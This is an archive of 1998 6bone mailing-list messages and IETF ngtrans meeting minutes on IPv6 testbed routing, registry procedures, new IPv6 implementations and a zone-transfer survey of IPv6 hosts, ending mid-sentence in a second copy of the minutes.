A presentation of SMTP use in dual-stack environments was given by Kazu
Yamamoto of the WIDE project.  The WIDE project now has dual IPv4/IPv6 stack
MTAs ready for testing, and thus experimented with registering MX records for
IPv6 MTAs and what happens to IPv4 only MTA servers.

Results were that IPv4-only Sendmail/Bind has no problem with AAAA
records(Sendmail 5.61 or later and Bind 4.8.3 or later), but when MX records
were used which refer to A and AAAA records there were problems.  

Further experimentation is planned and will be reported as appropriate.

(chair's note:  this work probably falls more under the 6bone rather than the
tools portion of ngtrans, thus will be scheduled there in the future.)

________________________________________________________________________ 

ngtrans 6bone portion of meeting, chaired by Bob Fink

Discussion:   6bone@isi.edu (6BONE Mailer) 
Subscribe:    majordomo@isi.edu "subscribe 6bone" 
Archive:     
<http://www.ipv6.nas.nasa.gov/6bone/>http://www.ipv6.nas.nasa.gov/6bone/ 
Web site:     <http://www.6bone.net/>http://www.6bone.net

____

6bone Status report - Bob Fink & David Kessens

A brief status of the 6bone was given by Bob Fink of ESnet and David
Kessens of
ISI.

    240 sites in 32 countries
    14 host and 14 router implementations (probably more at this time)
    45 sites participating in the 6bone backbone
    site, routing and address delegation done thru 6bone registry at ISI
      courtesy of David Kessensof ISI
      some new RPSL features in use on the registry
    maps and many statistics automatically made up from 6bone registry
      courtesy of Andrew Scott of Lancaster Univ.
    reverse DNS registry courtesy of Bill Manning of ISI

____

6bone routing issues I-D - Bertrand Buclin & Alain Durand

A presentation was made of <draft-ietf-ngtrans-6bone-routing-issues-02.txt>
was
made.  This I-D is based on the following routing principles:

The 6bone is a hierarchical network with
    backbone sites acting as pseudo TLAs (pTLAs)
    pseudo NLAs (pNLAs) providing transit services below pTLAs
    leaf sites

pTLAs MUST use BGP4+ between them

Multihomed sites SHOULD use BGP4+

Leaf sites MAY use default routing

Aggregation MUST be performed by border routers
    Specially true for pTLAs

There are a set of rules for 

    Link Local prefixes
    Site Local prefixes
    Special case prefixes
    Multicast prefixes
    IPv4 mapped prefixes
    IPv4 compatible prefixes
    Undefined Unicast prefixes
    Default routes
    Aggregation and advertisement issues
    Inter site links

This document will be revised based on minor comments and recirculated.

____

6bone routing reports and related issues - Masaki Hirabaru

A presentation of the new Merit 6bone Routing Reports was given by Masaki
Hirabaru of Merit.  These reports are collected by an MRT routing daemon and
processed with the IPMA statistics tool.  An email list for the daily reports
is available that gives the size of the 6bone routing table, how many unique
AS's are in use, how many BGP4+ announcements, withdrawals and unique routes
there are, a list of the most poorly aggregated announcments and the top five
most active prefixes.  A route flap graph is also available.

Initial use of the tool shows too many routing changes for so few routes, thus
indicating possible routing software/protocol problems.  The reports can also
be used to encourage aggregation and detect incorrect configurations.
Feedback on, and use of, these reports is encouraged.

The reports can be subscribed to by sending email to majordomo@merit.edu with
"subscribe 6bone-routing report" in the message.  A hypemail archive is
available at:

   
<http://www.merit.edu/mail.archives/html/6bone-routing-report>http://www.mer
it.edu/mail.archives/html/6bone-routing-report

The Rout Flap Graph is at:

   
<http://www.merit.edu/mail.archives/~ipma/java/FlapGraph.html>http://www.mer
it.edu/mail.archives/~ipma/java/FlapGraph.html

____

Multihomed routing domain issues for IPv6 aggregatable scheme I-D - Francis
Dupont

A presentation was made of current ideas for handling IPv6 site multihoming by
Francis Dupont of Inria.  A one hour session on this topic was held in the
hour
preceding this ngtrans meeting.  There are several different approaches
possible to this problem, several of which share problems and solutions with
IPv4.

Bob Fink noted that this work may best be done under the Routing Area to
encourage wider participation in the discussion and solutions for site
multihoming, a path he has agreed to pursue with the head of the Routing Area.

____

6bone transit through CAIRN - Maryann Maher

A brief overview was given of Allison Mankin's CAIRN native IPv6 6bone
backbone
proposal by Maryann Maher of ISI-East.  In brief, the CAIRN project is willing
to provide native IPv6 backbone service across the US, on a testing use basis,
from CAIRN's points of prescence at LBL, ISI-West, MCI, ISI-East and UCL.

____

IPSEC proposition - Maryann Maher

Maryann maher of ISI-East presented Allison Mankin's request to the 6bone
project that IPSEC AUTH functionality be required in 6bone routers by the end
of the year. Though there was a sense of agreement that it was appropriate for
the 6bone to push the development and testing of security for routers, there
was also a bit of confusion of just what was meant by this proposal.  Bob Fink
will request Allison to make a specific proposal that can be considered on the
mail list.

____

Win-NT IPv6 public source - Richard Draves

A short presentation of the new Windows NT IPv6 implementation by Microsoft
Research was given by Richard Draves of Microsoft.  He noted that this work
was
also being supported by Allison Mankin's group at ISI-East.

The source and binary release was made on March 24, 1988, and can be retrieved
from:

   
<http://www.research.microsoft.com/msripv6>http://www.research.microsoft.com
/msripv6

It is being released to promote research, education and testing, and is not
intended for commercial use.  There is no support for Windows 95 or 98.  It is
copyrighted and distributed under a license.  Richard specifically encouraged
those with troubles agreeing to the license to contact him to see if something
mututally agreeable can be arranged.

Richard noted that, although it was released for NT version 4, he had been
able
to easily run it on NT version 5 as well, though he needed to make an
installation procedure change.

Initially the following works:

BaSic IPv6 header processing
Neighbor Discovery
Stateless autoconfiguration
Partial ICMPv6 (basically ping support, but not error messages)
Partial Multicast Listener Discovery
Automatic and configure tunnels
IPv6 over IPv4 per the Carpenter/Jung draft
UDP and TCP over IPv6
ping, traceroute, ttcp, ftp/ftpd, NetMon

What's missing:

Security and Auth headers
Mobility support
Routing
Applications as follows
  Web client/server
  File client/server (i.e., Microsoft Networking)
  DNS client/server
v6/v4 translation

____

pTLA asignment rules - Bob Fink

Delayed to an informal lunchtime meeting the day after the ngtrans meeting.
When presented to the lunchtime group, there was no further comment on the
pTLA
assignment rules presented by Bob Fink of ESnet, other than that some folk are
unwilling to say a site cannot do something.  Bob noted that these rules have
been presented before on the 6bone list and that he will continue to require
new pTLA requestors to respond to the four criteria, to the list, so general
sentiment can be heard.  He will then make a decision based on the requestor's
response and the sentiment expressed.

Bob encouraged those that do not like any particular policy he is enforcing to
comment to him directly or to the list.

____

steps to clean up the backbone - Bob Fink

Delayed to an informal lunchtime meeting the day after the ngtrans meeting.
Bob
Fink of ESnet presented some of his problems and possible solutions about the
6bone backbone and its general cleanup:

Various problems
– reliability 
– old addresses in use
– invalid tunnels
– routing loops
– non BGP4+ peering
– incomplete registry info
– no address delegation through the registry

Various solutions
– enforcing registry rules (e.g., if no correct entry no listing shown)
– pulling pTLAs for sites not providing good service or incomplete and
inaccurate registry entry
– publish top ten “worst site” list
– various tools to show what doesn’t work

Alain Durand then spoke in favor of terminating pTLA sites that were not
following various rules as expressed in the 
6bone routing issues I-D.  Several folk (Bertrand Buclin, Guy Davies and
others) spoke against the harsh enforcement of rules as being inappropriate
for
the 6bone and its testing nature.

The general consensus seemed to be that report-based enforcement was more
appropriate for the 6bone.  Thus a set of rules would be agreed upon (say the
Buclin/Durand draft) and reports would target those not complying. 

It was also agreed that a 6bone-ops list made up of 6bone registry contacts
would be a better place for reports than the main 6bone list.  This would also
help enforce the use of the registry for participating sites.

Bob agreed to publish to the 6bone list a general proposal for a way to start
the cleanup process based on discussions from this session.

____

tools to help clean up the backbone - Ivano Guardini - 10 mins

Delayed to an informal lunchtime meeting the day after the ngtrans meeting. 
Ivano Guardini of CSELT gave a presentation of the new ASpath-tree tool that
monitors BGP4+ routing, resulting from work of both Ivano and Paolo Fasano
also
of CSELT.  This tool provides a graphical view of the BGP4+ routing tree
towards the 6bone.  The results are obtained by elaborating the AS path
information available in the BGP4+ routing table of an IPv6 border router
terminating BGP4+ capable tunnels.  Results are presented automatically as
html
pages.  See:

   
<http://carmen.cselt.it/ipv6/bgp/index.html>http://carmen.cselt.it/ipv6/bgp/
index.html

The tools was developed as a set of unix scripts in Perl 5.0, and tested on a
Solaris 2.5.1 workstation.  BGP4+ routes are collected using rsh commands, and
the current script handles Cisco routers.  Required inputs for the program
are:

    the 6bone registry database

    the 6bone pTLA list

Ivano then showed various sample results from a CSELT viewpoint using
ASpath-tree.  For future work the following was given:

    Automatic detection of BGP4+ routing anomolies
      unaggregatedprefixes, wrong prefix advertisements ...

    Provide information on BGP4+ routing stability

    Use of SNMP for data acquisition

    ...and the desire for suggestions from the 6bone community

Ivano asked that other pTLA sites install the code, which is available at:

    ftp://carmen/cselt.it/pub/ASpath-tree.tar.gz

-end


From 6bone-owner  Mon Apr 13 06:22:32 1998
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Date: Mon, 13 Apr 1998 21:39:25 +0800 (PST)
From: "Ryan F. Go" <yan@nangka.usc.edu.ph>
To: IPv6 Mailing List <6bone@ISI.EDU>
Subject: Re: V6 address
In-Reply-To: <1320164737-34223579@cnrmail.lbl.gov>
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	How do i join 6bone? What will i need ?


On Tue, 7 Apr 1998, Bob Fink wrote:

> Yajie,
> 
> At 12:40 PM 4/7/98 -0700, Yajie Lee wrote:
> >
> >
> >Anybody there can tell me his/her host's v6 address(es) so I can use them
> >to test my machines? Or where I can find that information?
> 
> If you want to join the 6bone you will eventually be able to participate in
> IPv6 testing, but as a generality you don't just get an address to test to
> the way you seen to be asking.
> 
> 
> Bob
> 



---
Ryan F. Go                                         <yan@nangka.usc.edu.ph>
Unix/Linux Systems Administrator
Center for Network Management and Services         http://cnms.usc.edu.ph 
University of San Carlos                           http://www.usc.edu.ph
Tel: +(6332)-3466268  Fax: +(6332)-3466265 

~~~~~~~~

"Though UNIX is somewhat challenging... at least we are not WIMPS!"

~~~~~~~~



From 6bone-owner  Mon Apr 13 07:13:54 1998
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To: "Ryan F. Go" <yan@nangka.usc.edu.ph>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: V6 address
Cc: 6bone@ISI.EDU
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 >
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Ryan,

At 09:39 PM 4/13/98 +0800, Ryan F. Go wrote:
>	
>	How do i join 6bone? What will i need ?

Have you read the 6bone pages?

	http://www.6bone.net/

If you have, please ask me what is not obvious (I am trying to rewrite the
hookup information you see referenced on the 6bone home page):

	http://www.6bone.net/6bone_hookup.html


Regards,

Bob

From 6bone-owner  Mon Apr 13 10:14:59 1998
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From: Pawel Krawczyk <kravietz@ceti.com.pl>
To: "Ryan F. Go" <yan@nangka.usc.edu.ph>
cc: IPv6 Mailing List <6bone@ISI.EDU>
Subject: Re: V6 address
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On Mon, 13 Apr 1998, Ryan F. Go wrote:

> 	How do i join 6bone? 

Take a look at www.6bone.net

> What will i need ?

This depends mostly on what system you are using. For linux there
are two excellent HOWTOs:

http://www.terra.net/ipv6/
http://www.bieringer.de/linux/IPv6/IPv6-HOWTO/IPv6-HOWTO.html

--
Pawel Krawczyk, CETI internet, Krakow. http://www.ceti.com.pl/
info: oferta@ceti.com.pl.  Home: http://ceti.com.pl/~kravietz/


From 6bone-owner  Mon Apr 13 10:39:20 1998
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From: "Matthew Schlegel" <matts@datalight.com>
To: "Bob Fink" <rlfink@lbl.gov>
Cc: <6bone@ISI.EDU>
Subject: Re: V6 address
Date: Mon, 13 Apr 1998 10:48:13 -0700
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From: Bob Fink <rlfink@lbl.gov>

>Ryan,
>
>At 09:39 PM 4/13/98 +0800, Ryan F. Go wrote:
>>
>> How do i join 6bone? What will i need ?
>
>Have you read the 6bone pages?
>
> http://www.6bone.net/
>
>If you have, please ask me what is not obvious (I am trying to
rewrite the
>hookup information you see referenced on the 6bone home page):
>
> http://www.6bone.net/6bone_hookup.html
>
>
>Regards,
>
>Bob
One thing that would be beneficial to add, is links to some of the FAQ
and HowTo documents
that have been written for the 6bone.  I found much of the information
provided in the Linux IP6
HowTo documents crucial to getting online.

    Just a thought,
   Matthew Schlegel


From 6bone-owner  Mon Apr 13 10:59:05 1998
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To: Pawel Krawczyk <kravietz@ceti.com.pl>,
        "Ryan F. Go" <yan@nangka.usc.edu.ph>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: V6 address
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Pawel,

At 07:13 PM 4/13/98 +0200, Pawel Krawczyk wrote:
>On Mon, 13 Apr 1998, Ryan F. Go wrote:
>
>> 	How do i join 6bone? 
>
>Take a look at www.6bone.net
>
>> What will i need ?
>
>This depends mostly on what system you are using. For linux there
>are two excellent HOWTOs:
>
>http://www.terra.net/ipv6/
>http://www.bieringer.de/linux/IPv6/IPv6-HOWTO/IPv6-HOWTO.html

Thanks for letting me know about these.  As I redo the 6bone hookup pages
I'll add pointers to various sites like this.

If anyone knows of others, please let me know.


Thanks,

Bob

From 6bone-owner  Mon Apr 13 12:07:49 1998
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Cc: Pawel Krawczyk <kravietz@ceti.com.pl>,
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Subject: Re: V6 address
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Hi all!

Quoting Bob Fink (rlfink@lbl.gov):

> >http://www.terra.net/ipv6/

	If you include this URL on the 6bone pages (at all), please tag it
	as outdated (last revision was 7/14/97). It contains some good
	information, but Peter's HOWTO below is much more useful because it
	almost always reflects the lastest in kernel and application
	development.

> >http://www.bieringer.de/linux/IPv6/IPv6-HOWTO/IPv6-HOWTO.html

	There even is a Japanese and a French translation available!

Lars.
-- 
Lars Fenneberg, lf@elemental.net (private), lf@cityline.net (work)
pgp fingerprint  D1 28 F1 FF 3C 6B C0 27   CC 9C 6C 09 34 0A 55 18

From 6bone-owner  Tue Apr 14 09:07:41 1998
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hi 6bone Folks :

Bob Fink wrote:

If you have, please ask me what is not obvious (I am trying to
rewrite the

> hookup information you see referenced on the 6bone home page):
>
>         http://www.6bone.net/6bone_hookup.html
>
>

   As the question was asked , I think the following should be
included as part of the how to join page, and while being on the
subject, as well as part of the 6bone site !


1) Requirments Spec’s
A page dedicated to the RFC listing, both standards and drafts,
which basically would be good starting place for interested 6bone
implementors/users. I think, one SHOULD do their home work
first,  but listing is needed !! The 6bone is after all an
experimental test bed.

2) Who is providing and howto pointers
Links to Vendors email lists/pages who are developing /providing
6bone products/services. An important note, should highlight,
that vendor specific enquires should be addressed to those
email/vendors AND NOT the 6bone listing. I have seen vendor
specific inquires  which are not related to the core aspects of
6bone, popping up on this list.

3) Tunnel requisitions , Registry entry , ASN etc how to go about
it !!
Requirements for setting up Tunnels, (i.e nearest Endpoint with
6bone connectivity, packet loss , avg RTT blah blah blah..etc ).
Also, how to refer to the 6bone map to locate the closest
endpoint and where to find the lastest 6bone map !, I think that
the current how to page is having some info on the registry
process, but tunneling is also required.

4)  criteria Requirements for obtaining pTLA
Correct me if I’m wrong, there are the 3 criteria which make the
baseline for obtaining the pTLA. This SHOULD be included
somewhere , on the ‘How to join page’ !!!

5) Last but not least, the 6bone mail archive should be updated,
the last entry on this list is sometime in Dec of 97 , if I'm not
mistaken !!

Thats it, for now :))


Pete



From 6bone-owner  Tue Apr 14 09:48:29 1998
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Date: Tue, 14 Apr 1998 09:00:34 -0700
To: peter dawson <peterdd@gto.net.om>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: V6 address
Cc: 6bone@ISI.EDU
In-Reply-To: <35337578.4147E06D@gto.net.om>
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 <1319670867-63933681@cnrmail.lbl.gov>
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Peter,

At 08:10 PM 4/14/98 +0530, peter dawson wrote:
...
>   As the question was asked , I think the following should be
>included as part of the how to join page, and while being on the
>subject, as well as part of the 6bone site !
>
>
>1) Requirments Spec’s
>A page dedicated to the RFC listing, both standards and drafts,
>which basically would be good starting place for interested 6bone
>implementors/users. I think, one SHOULD do their home work
>first,  but listing is needed !! The 6bone is after all an
>experimental test bed.

This is on the official IPng pages and should be the one place this list is
kept up.  It is referenced on the 6bone web page.


>2) Who is providing and howto pointers
>Links to Vendors email lists/pages who are developing /providing
>6bone products/services. An important note, should highlight,
>that vendor specific enquires should be addressed to those
>email/vendors AND NOT the 6bone listing. I have seen vendor
>specific inquires  which are not related to the core aspects of
>6bone, popping up on this list.

Some of this is also on the IPng pages, some not.  I'll think on this one.


>3) Tunnel requisitions , Registry entry , ASN etc how to go about
>it !!
>Requirements for setting up Tunnels, (i.e nearest Endpoint with
>6bone connectivity, packet loss , avg RTT blah blah blah..etc ).
>Also, how to refer to the 6bone map to locate the closest
>endpoint and where to find the lastest 6bone map !, I think that
>the current how to page is having some info on the registry
>process, but tunneling is also required.

Good ideas.  I'll factor it in.


>4)  criteria Requirements for obtaining pTLA
>Correct me if I’m wrong, there are the 3 criteria which make the
>baseline for obtaining the pTLA. This SHOULD be included
>somewhere , on the ‘How to join page’ !!!

This is already on my list for inclusion.


>5) Last but not least, the 6bone mail archive should be updated,
>the last entry on this list is sometime in Dec of 97 , if I'm not
>mistaken !!

I've asked the NASA guys about this, but no response yet.  Meanwhile the
ISI mail archive at:

	ftp://ftp.isi.edu/6bone/6bone.mail

is up to date (albeit a large flat file).



Thanks for your comments, glad to see someone looks at this stuff :-)

Bob

From 6bone-owner  Tue Apr 14 11:47:42 1998
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Date: Tue, 14 Apr 1998 11:47:31 -0700
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: cleanup of 6bone homepage
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6bone Folk,

I have changed the format of the 6bone home page only.  This is to
accommodate future changes below this page, but for now no content below
has been changed.

A few links that were getting obsolete are gone.  If you have a problem,
please let me know.


	http://www.6bone.net/   (and do a refresh)


Thanks,

Bob

From 6bone-owner  Tue Apr 14 20:43:20 1998
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Date: Tue, 14 Apr 1998 20:42:38 -0700 (PDT)
From: Yajie Lee <lee_y@cs.unr.edu>
Reply-To: Yajie Lee <lee_y@cs.unr.edu>
To: 6bone@ISI.EDU, Ben Greear <greearb@agcs.com>
Subject: Re: Current status or FAQ?
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Hi Ben, 

I think you asked some very interesting and important questions which may
have a general concern. So I forward it to the 6bone mailing list.


Yajie Lee



On Tue, 14 Apr 1998, Ben Greear wrote:

> 
> I'm doing some research for my company on IPv6.  From what I can tell,
> almost everyone has beta versions, but few if any have a fully
> functional IPv6 implementation.  However, many of the pages I've
> been able to find are somewhat dated...
> 
> Does anyone know what version of Solaris will offer built in support
> for IPv6 (ie don't have to go download and install something on top
> of a current installation..)
> 
> When do you see IPv6 becoming widespread.  With the QOS it could
> be useful for those trying to do real-time communications, such
> as IP telephony etc....  However, unless I misunderstand, it seems
> that while IPv6 will work indefinately with IPv4, we will not get
> many of the benefits (QOS) untill most or all of the routers
> come up to spec.
> 
> Any pointers to any other information would be welcome...
> 
> Thanks,
> Ben Greear
> 




From 6bone-owner  Wed Apr 15 09:16:02 1998
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Date: Wed, 15 Apr 1998 09:12:48 -0700
To: Yajie Lee <lee_y@cs.unr.edu>
From: Vince_Grimaldi@BayNetworks.COM (Vince Grimaldi)
Subject: Re: Current status or FAQ?
Cc: 6bone@ISI.EDU
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Yajie,
	I believe that the version of Solaris where IPv6 is built in is "2.8"





At 08:42 PM 4/14/98 -0700, you wrote:
>
>Hi Ben, 
>
>I think you asked some very interesting and important questions which may
>have a general concern. So I forward it to the 6bone mailing list.
>
>
>Yajie Lee
>
>
>
>On Tue, 14 Apr 1998, Ben Greear wrote:
>
>> 
>> I'm doing some research for my company on IPv6.  From what I can tell,
>> almost everyone has beta versions, but few if any have a fully
>> functional IPv6 implementation.  However, many of the pages I've
>> been able to find are somewhat dated...
>> 
>> Does anyone know what version of Solaris will offer built in support
>> for IPv6 (ie don't have to go download and install something on top
>> of a current installation..)
>> 
>> When do you see IPv6 becoming widespread.  With the QOS it could
>> be useful for those trying to do real-time communications, such
>> as IP telephony etc....  However, unless I misunderstand, it seems
>> that while IPv6 will work indefinately with IPv4, we will not get
>> many of the benefits (QOS) untill most or all of the routers
>> come up to spec.
>> 
>> Any pointers to any other information would be welcome...
>> 
>> Thanks,
>> Ben Greear
>> 
>
>
>
>
Vince Grimaldi
Bay Networks
Corporate System Engineer - Santa Clara
408 495 2415		(Voice)
408 495 1023		(Fax)

From 6bone-owner  Fri Apr 17 08:16:51 1998
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Date: Fri, 17 Apr 1998 08:16:12 -0700
To: Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: (ngtrans) Number of IPv6 hosts
Cc: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com
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Harald,

At 01:10 PM 4/17/98 +0200, Harald Tveit Alvestrand wrote:
>Here's a short probe to the list, to see what's going on here....
>
>I just did (just for fun) a zone transfer of the reverse lookup tree
>under ip6.int.
>The result was interesting.
>
>It didn't take long, and it gave me a number..... 1254 PTR records
>in 149 successfully transferred zones.
>(About 138 zones failed to transfer)
>
>Is this a fair ballpark figure for the number of people playing with
>IPv6 on the open Internet?

There are 249 sites on the 6bone (see
http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/) as of yesterday.

There are also a fair no. of sites not registered directly with the 6bone
registry that are associated with projects like JOIN, G6,  WIDE etc, that
would have to have reverse entries.  This may be another 50 sites (purely
my guess).  So your nos. aren't far off.

As for the large nos. of not responding sites it seems to be the case that
people join up to prove they can do it, do a few simple tests, then go
inactive.  We don't try to discourage this, tho it can be annoying.


>(BTW, anyone who wants a list of the 138 zones that I was unable to
>zone transfer is welcome to ask...)

I would appreciate seing the list of both sets (those that responded and
those that didn't).


I'm in the process of hardening the 6bone backbone, which mainly consists
of getting agreement from backbone sites (see
http://www.6bone.net/6bone_pTLA_list.html) to self police based on certain
metrics, e.g., routing flaps (merit has some neat reports for us at
http://www.merit.net/mail.archives/html/6bone-routing-report/).  

So I'm always looking for, and at, data such as you just collected.


(As an aside we keep the 6bone operational stuff on the 6bone list, but it
really doesn't matter as I think that most involved folk are on both.}


Thanks,

Bob

From 6bone-owner  Fri Apr 17 12:42:41 1998
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To: Bob Fink <rlfink@lbl.gov>
Cc: Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>, 6bone@ISI.EDU
Subject: Re: (ngtrans) Number of IPv6 hosts
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> >It didn't take long, and it gave me a number..... 1254 PTR records
> >in 149 successfully transferred zones.
> >(About 138 zones failed to transfer)

How many people prevent unknown AXFR from their DNS ? I guess that my site
will be one of those that failed, but we do have correctly registered
addresses. Just curious.

Ben.


From 6bone-owner  Mon Apr 20 07:20:50 1998
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Date: Mon, 20 Apr 1998 07:20:07 -0700
To: Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: (ngtrans) Number of IPv6 hosts
Cc: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com
In-Reply-To: <3.0.2.32.19980420103715.012ffe40@dokka.kvatro.no>
References: <1319321491-84951535@cnrmail.lbl.gov>
 <3.0.2.32.19980417131029.009c5460@dokka.kvatro.no>
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Harald,

At 10:37 AM 4/20/98 +0200, Harald Tveit Alvestrand wrote:
>OK - the display of data is at http://www.alvestrand.no/ietf/ipv6.html

Thanks for making the page, it is easy to look at.


>I'm currently refetching the data for the failed zones, which means
>that the number of "failed" zones in the listing is low - this will be
>OK again within a couple of hours.

OK.


>Once I find out how I'll include the difference between "failed" sites
>and "refusing to AXFR" sites too.

Good.

Do you mind if I post this via our 6bone pages to help finger point?

This might be a good routing sanity check for the 6bone to do daily or
weekly or something like that.


>Have fun!

Always do :-)


Thanks,

Bob

From 6bone-owner  Mon Apr 20 11:56:36 1998
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To: Bob Fink <rlfink@lbl.gov>
cc: Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>, 6bone@ISI.EDU,
        ngtrans@sunroof.eng.sun.com
Subject: Re: (ngtrans) Number of IPv6 hosts 
In-reply-to: Your message of "Mon, 20 Apr 1998 07:20:07 PDT."
             <1319065649-100342660@cnrmail.lbl.gov> 
Date: Mon, 20 Apr 1998 11:56:12 -0700
From: "Kevin M. Lahey" <kml@nas.nasa.gov>
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In message <1319065649-100342660@cnrmail.lbl.gov>Bob Fink writes
>At 10:37 AM 4/20/98 +0200, Harald Tveit Alvestrand wrote:
>>OK - the display of data is at http://www.alvestrand.no/ietf/ipv6.html
>
>Thanks for making the page, it is easy to look at.

Yow, should any of the 5fxx: zones still be there?  I thought
they were retired six months ago, at least.  That'd take care
of about half of your failed transfers...

Do I need to ask to have our entry (5f01:2900::) removed,
or will they be removed en mass soon?

Thanks,

Kevin
kml@nas.nasa.gov

From 6bone-owner  Mon Apr 20 12:15:40 1998
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Subject: Re: (ngtrans) Number of IPv6 hosts
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Date: Mon, 20 Apr 1998 12:12:39 -0700 (PDT)
Cc: rlfink@lbl.gov, Harald.Alvestrand@maxware.no, 6bone@ISI.EDU
In-Reply-To: <199804201856.LAA19571@gecko.nas.nasa.gov> from "Kevin M. Lahey" at Apr 20, 98 11:56:12 am
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> 
> In message <1319065649-100342660@cnrmail.lbl.gov>Bob Fink writes
> >At 10:37 AM 4/20/98 +0200, Harald Tveit Alvestrand wrote:
> >>OK - the display of data is at http://www.alvestrand.no/ietf/ipv6.html
> >
> >Thanks for making the page, it is easy to look at.
> 
> Yow, should any of the 5fxx: zones still be there?  I thought
> they were retired six months ago, at least.  That'd take care
> of about half of your failed transfers...
> 
> Do I need to ask to have our entry (5f01:2900::) removed,
> or will they be removed en mass soon?
> 
> Thanks,
> 
> Kevin
> kml@nas.nasa.gov

I'll take that as a request for removal of your zone.

-- 
--bill

From 6bone-owner  Mon Apr 20 12:49:09 1998
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Hi, all.

I'd like to connect to the 6bone.  I need the usual:  a tunnel attachment,
address space (128 addresses or so?), and a mentor.

Here's my bio:

I neighbor MCI at Pompano Beach and BBN/GTE at Atlanta.

I'll be using Cisco equipment for the tunnel endpoint.

My AS is 7254, if'n you need it.

The machines for tunnel connection would be either 204.70.231.106 (MCI)
or 192.221.25.134 (BBN), at your option.


Thanks,
 					Chad Miller
					Surf South NetOps
					cmiller@surfsouth.com


From 6bone-owner  Tue Apr 21 10:07:17 1998
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Date: Tue, 21 Apr 1998 09:48:50 +0200
To: Bob Fink <rlfink@lbl.gov>
From: Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>
Subject: Re: (ngtrans) Number of IPv6 hosts
Cc: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com
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At 07:20 20.04.98 -0700, Bob Fink wrote:
>
>Do you mind if I post this via our 6bone pages to help finger point?
>
>This might be a good routing sanity check for the 6bone to do daily or
>weekly or something like that.

actually I wonder if I should ship you the scripts (there are 2 now,
a zonewalker script and a report generator) and have you put them into
a cron job at one of the 6bone-related machines.
For me this was a one-shot (I was curious); for you this might be
useful as a permanent "health check" - perhaps so much so that the
people who've blocked zone transfers to me could be convinced to open
up the access to you?

What do you think?

                           Harald A

-- 
Harald Tveit Alvestrand, Maxware, Norway
Harald.Alvestrand@maxware.no


From 6bone-owner  Tue Apr 21 10:13:26 1998
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To: Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: (ngtrans) Number of IPv6 hosts
Cc: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com
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Harald,

At 09:48 AM 4/21/98 +0200, Harald Tveit Alvestrand wrote:
>At 07:20 20.04.98 -0700, Bob Fink wrote:
>>
>>Do you mind if I post this via our 6bone pages to help finger point?
>>
>>This might be a good routing sanity check for the 6bone to do daily or
>>weekly or something like that.
>
>actually I wonder if I should ship you the scripts (there are 2 now,
>a zonewalker script and a report generator) and have you put them into
>a cron job at one of the 6bone-related machines.
>For me this was a one-shot (I was curious); for you this might be
>useful as a permanent "health check" - perhaps so much so that the
>people who've blocked zone transfers to me could be convinced to open
>up the access to you?
>
>What do you think?

Yeah, why not send them.


Thanks,

Bob

From 6bone-owner  Tue Apr 21 10:19:46 1998
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Hi all,

this might be a stupid question, but I am wondering what I have to do to
register with the 6Bone. I am already tunneling throug to Netcom UK for
a couple of months. My range is 3ffe:1f00:2::0/48 and the entry should
be for SIEMENS plc UK.

Regards,

Marc Mosthav

From 6bone-owner  Tue Apr 21 11:14:14 1998
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Date: Tue, 21 Apr 1998 11:13:40 -0700
To: MOSTHAVM@plcman.siemens.co.uk, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: Registry
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 k>
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At 10:18 AM 4/21/98 +0100, MOSTHAVM@plcman.siemens.co.uk wrote:
>Hi all,
>
>this might be a stupid question, but I am wondering what I have to do to
>register with the 6Bone. I am already tunneling throug to Netcom UK for
>a couple of months. My range is 3ffe:1f00:2::0/48 and the entry should
>be for SIEMENS plc UK.

Read:

	http://www.6bone.net/RIPE-registry.html#anchor11267048

and

	http://www.6bone.net/RIPE-registry.html#anchor11274982



Bob

From 6bone-owner  Tue Apr 21 14:32:35 1998
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Date: Tue, 21 Apr 1998 14:07:15 -0700
To: minutes@ietf.org
From: Bob Fink <rlfink@lbl.gov>
Subject: minutes of ngtrans wg meeting at LA IETF - final version
Cc: "Mike O'Dell" <mo@UU.NET>, John Curran <curran@bbn.com>,
        Tony Hain <tonyhain@microsoft.com>,
        Bob Gilligan <gilligan@freegate.net>, rlfink@lbl.gov,
        ngtrans@sunroof.eng.sun.comm, 6bone@ISI.EDU
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ngtrans WG meeting
March 31, 1988
Los Angeles, CA IETF

Chairs:       Bob Fink rlfink@lbl.gov
              Robert Gilligan gilligan@freegate.com
              Tony Hain tonyhain@microsoft.com

Reported by Bob Gilligan, Alain Durand and Bob Fink

________________________________________________________________________

ngtrans tools portion of meeting, chaired by Tony Hain

Discussion:   ngtrans@sunroof.eng.sun.com
Subscribe:    majordomo@sunroof.eng.sun.com  "subscribe ngtrans"
Archive:
<ftp://playground.sun.com/pub/ngtrans>ftp://playground.sun.com/pub/ngtrans

Web site:
<http://www.6bone.net/ngtrans.html>http://www.6bone.net/ngtrans.html


____

AIIH I-D- Jim Bound

Jim Bound gave an overview on his new Internet-Draft titled
"Assignment of IPv4 Global Addresses to IPv6 hosts (AIIH)".  Note that
the acronym for this proposal has changed from NNAT to AIIH.  This
Internet-Draft replaces the earlier NNAT I-D.

The general objective of this proposal is to allow IPv6/IPv4 dual
hosts configured with permanent global IPv6 and get temporary
assignments of IPv4 global addresses to use when communicating with
IPv4 hosts.  This conserves the IPv4 address space since a small pool
of global IPv4 addresses can be used by a larger number of IPv6/IPv4
hosts.  This proposal does NOT employ header translation.

The proposal uses an "AIIH server" situated at the boundary between an
IPv4 and an IPv6 cloud which operates both as a DNS and DHCP server.
The AIIH server handles IPv4 DNS queries for IPv6/IPv4 hosts; assigns
temporary IPv4 addresses to IPv6/IPv4 hosts, and manages tunnels to
